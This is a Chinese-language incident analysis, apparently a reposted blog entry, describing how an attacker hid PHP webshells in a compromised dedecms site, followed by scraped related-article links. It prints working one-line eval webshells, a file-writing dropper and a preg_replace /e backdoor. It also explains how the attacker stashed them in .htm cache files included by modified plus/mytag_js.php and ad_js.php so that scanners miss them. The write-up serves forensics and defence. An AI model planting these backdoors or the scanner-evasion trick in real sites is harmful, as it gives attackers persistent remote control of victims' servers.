单位某站用的dedecms,今天被某黑阔getshell了,提交到了wooyun.

为了还原黑阔入侵的手法,用鬼哥的getshell测试居然没成功, 是不是getshell过一次,再次就不会成功呢?

无奈只能打包代码,用各种webshell扫描器只扫到一个data/tplcache/xxxxx.inc文件,文件代码如下:

Default

{dede:php}file_put_contents(’90sec.php’,'<?php eval($_POST[guige]);?>’);{/dede:php}

1

{dede:php}file_put_contents(’90sec.php’,'<?phpeval($_POST[guige]);?>’);{/dede:php}

但是翻遍所有的Web目录也没有找到90sec.php文件,有朋友指点说可能是其它文件include这个文件。然后又用Seay的代码审计工具定义关键字各种扫,还是没找到。

最后老大翻到data/cache目录下发现了几个htm文件,myad-1.htm,myad-16.htm,mytag-1208.htm等,打开这些html文件,代码分别如下:

Default

<!–

document.write(“dedecmsisok<?php @eval($_POST[cmd]);?>”);

–>

1

2

3

4

<!–

document.write(“dedecmsisok<?php@eval($_POST[cmd]);?>”);

–>

Default

<!–

document.write(“<?php $fp = @fopen(‘av.php’, ‘a’);@fwrite($fp, ‘<?php eval($_POST[110]) ?>axxxxx’);echo ‘OK’;@fclose($fp);?>”);

–>

1

2

3

4

5

<!–

document.write(“<?php$fp=@fopen(‘av.php’,‘a’);@fwrite($fp,‘<?phpeval($_POST[110])?>axxxxx’);echo‘OK’;@fclose($fp);?>”);

–>

Default

<!–

document.write(“<?php echo ‘dedecms 5.7 0day<br>guige, 90sec.org’;@preg_replace(‘/[copyright]/e’,$_REQUEST['guige'],’error’);?>”);

–>

1

2

3

<!–

document.write(“<?phpecho‘dedecms5.70day<br>guige,90sec.org’;@preg_replace(‘/[copyright]/e’,$_REQUEST['guige'],’error’);?>”);

–>

看到这几个文件很奇怪,不知道黑阔要干嘛??虽然代码看似很熟悉,但是HTML文件能当后门用么?想起之前朋友说的include,然后结合前段时 间的getshell漏洞利用细节,最终翻到plus/mytag_js.php文件,在这个文件里终于发现黑阔无节操的地方,主要代码如下:

看到上面的代码我们应该知道黑阔是多么的邪恶,在生成的htm格式的cache文件中写入各种类型的一句话代码,然后再修改 plus/ad_js.php和mytag_js.php文件,包含htm格式的cache文件。这样黑阔只需要在菜刀中填入以下URL就可以连接一句话 了.

http://www.91ri.org /plus/mytag_js.php?id=1208

http://www.91ri.org /plus/ad_js.php?id=1

具体的id以及文件名跟data/cache目录下的myad-1.htm,mytag-1208.htm是有关系的。因此各种webshell扫描器都没有扫到webshell后门文件,因为很多默认都不对htm进行扫描.

不怎么懂php,所以分析可能有差错的地方,欢迎指正!

link:http://www.nxadmin.com/penetration/1168.html

本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处。

dedecms mytag_js.php,一种奇特的DEDE隐藏后门办法_91Ri.org相关推荐

  1. 一种奇特的DEDE隐藏后门办法

    ? 15:24 / 28 一种奇特的DEDE隐藏后门办法 单位某站用的dedecms,今天被某黑阔getshell了,提交到了wooyun. 为了还原黑阔入侵的手法,用鬼哥的getshell测试居然没 ...

  2. 一种奇特的DEDE隐藏后门办法(dedecms漏洞90sec.php文件)

    单位某站用的dedecms,今天被某黑阔getshell了,提交到了wooyun. 为了还原黑阔入侵的手法,用鬼哥的getshell测试居然没成功, 是不是getshell过一次,再次就不会成功呢? ...

  3. 整数集上的一种奇特拓扑

    在<Proofs from THE BOOK>里素数无限的六种证明的第五种讲到了一种用点集拓扑学知识证明的方法,其中引入了整数集上的一种奇特拓扑. 对 a,b∈ℤ,b>0a,b \i ...

  4. inrul plus 90sec.php,DEDE木马后门专杀工具 针对 90sec.php 一类

    2013-08-05 2013年8月5日 网络尖刀 讯: 最近使用DEDE的站长最近肯定都被"90sec.php"一类的木马后门没少折腾,删了又出现,出现了再删,一直都没有办法根治 ...

  5. 查杀DeDe数据库后门 网站安全狗DeDe专杀工具

    2019独角兽企业重金招聘Python工程师标准>>> DeDe是国内知名的PHP开源网站管理系统,很多用户都在使用这一系统,网站安全狗DeDe数据库后门查杀工具,主要就是为了帮助用 ...

  6. STL vector的几种清空容器(删除)办法

    1.为什么需要主动释放vector内存 来自 <https://blog.csdn.net/hellokandy/article/details/78500067> vector其中一个特 ...

  7. mytag.class.php,织梦CMS/dedecms织梦模板留言板调用{dede:}标签的头部尾部的方法

    织梦模板网站留言板调用网站的head.htm,footer.htm的方法二, 好多人都想在留言本guestbook.htm里实现dede的标签调用,问题是在plus里不支持dede标签的应用. 现在有 ...

  8. dedecms教程:织梦万能标签{dede:php}{dede:sql}调用方法

    织梦里面有两个标签还是比较灵活的,也被称为"万能标签",一个是{dede:php}{/dede:php}另外一个是{dede:sql}标签, {dede:php}标签注释要用来在模 ...

  9. dede/archives_do.php,dedecms后台编辑文章时archives_do.php显示空白解决办法

    今天网站后台不知道哪里搞错了,后台总是出现状况,出现无法dede后台编辑文章显示空白的问题,查看编辑文章的文件是archives_do.php 这个文件. 然后找到文件了就可以查看出现的问题了,我们发 ...

最新文章

  1. python操作excel-Python对Excel的读写等操作(转)
  2. 基于大数据的用户行为预测
  3. java环境变量含义_Java环境变量的配置及意义
  4. android复选框不选中无法点击按钮,Android-Listveiw的checkbox,Button焦点问题
  5. 22--删除字符串中的所有相邻重复项
  6. 《从Paxos到Zookeeper:分布式一致性原理与实践》第一章读书笔记
  7. 一个方法解决Warning: Permanently added 'gitee.com,180.97.125.228' (ECDSA) to the list of
  8. Bailian2981 大整数加法【大数】(POJ NOI0106-10)
  9. evaluatejavascript不起作用_android4.4 evaluateJavascript 到android2.X上不能调用的问题
  10. FileUtils类 使用举例
  11. pdf阅读,保存上次阅读位置
  12. C语言上机复习(一)文件操作
  13. 如何检索论文被引用情况
  14. 【国产单片机】华大HC32L13系列使用printf进行调试(多种方法)
  15. 国务院关于积极推进“互联网+”行动的指导意见
  16. 利用melendy插入参考文献_Q基因的转座子插入突变导致去驯化过程中普通小麦重获脆穗性...
  17. UE4像素流pixelstream的一些坑
  18. 微信公众平台开发(100) 2048游戏
  19. logback出现大量XXX_IS_UNDEFINED日志文件的问题
  20. java1.7.0 for linux_linux操作系统-安装jdk1.7

热门文章

  1. APP软件中的DID作用
  2. Python3.9版本发布,不同领域的程序员如何学Python?
  3. KYC (Know Your Customer) 详述篇 下
  4. LODOP 将多张图片拼接打印到同一张纸
  5. Arthas(阿尔萨斯)使用
  6. 校招面试中常见的算法题整理【长文】
  7. matlab系统辨识尝试之详细过程1,Matlab系统辨识尝试之详细过程1
  8. android bitmap大小端,1. 解析Bitmap的ARGB,实现图片颜色选择器
  9. realtek没有禁用前面板_教你win7系统realtek禁用前面板插孔检测的具体步骤
  10. pyqt5可以写手机apk吗_不需要写代码,直接在unity实现手机可以跑的毛发效果